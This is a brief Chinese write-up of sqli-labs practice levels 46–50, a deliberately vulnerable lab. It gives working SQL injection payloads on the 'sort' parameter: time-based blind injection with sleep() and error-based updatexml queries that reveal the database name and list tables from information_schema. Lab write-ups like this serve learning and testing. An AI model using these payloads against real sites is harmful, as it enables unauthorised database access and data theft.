sqli-labs靶场通过（45-50）

46关

这里页面不一样输入 ?sort=1

这里=2发现位置不一样

用报错注入可以看到数据库

47关

这题闭合不一样是字符型‘ 剩下就跟上一关一样了

和上一关一样用报错查看数据库

48关

这里用报错没有错误

布尔没有回显

所以就是时间盲注了

?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),0)有延迟说明有

接着就是一个一个试了

49关

?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0) --+

跟上一关一样

50关

这里可以用报错注入来得到数据库还可以用堆叠

Less-50/?sort=1 and updatexml(1,concat(1,(select database())),1)--+

查数据库的表

/Less-50/?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

接着就是那一套流程了就不多写了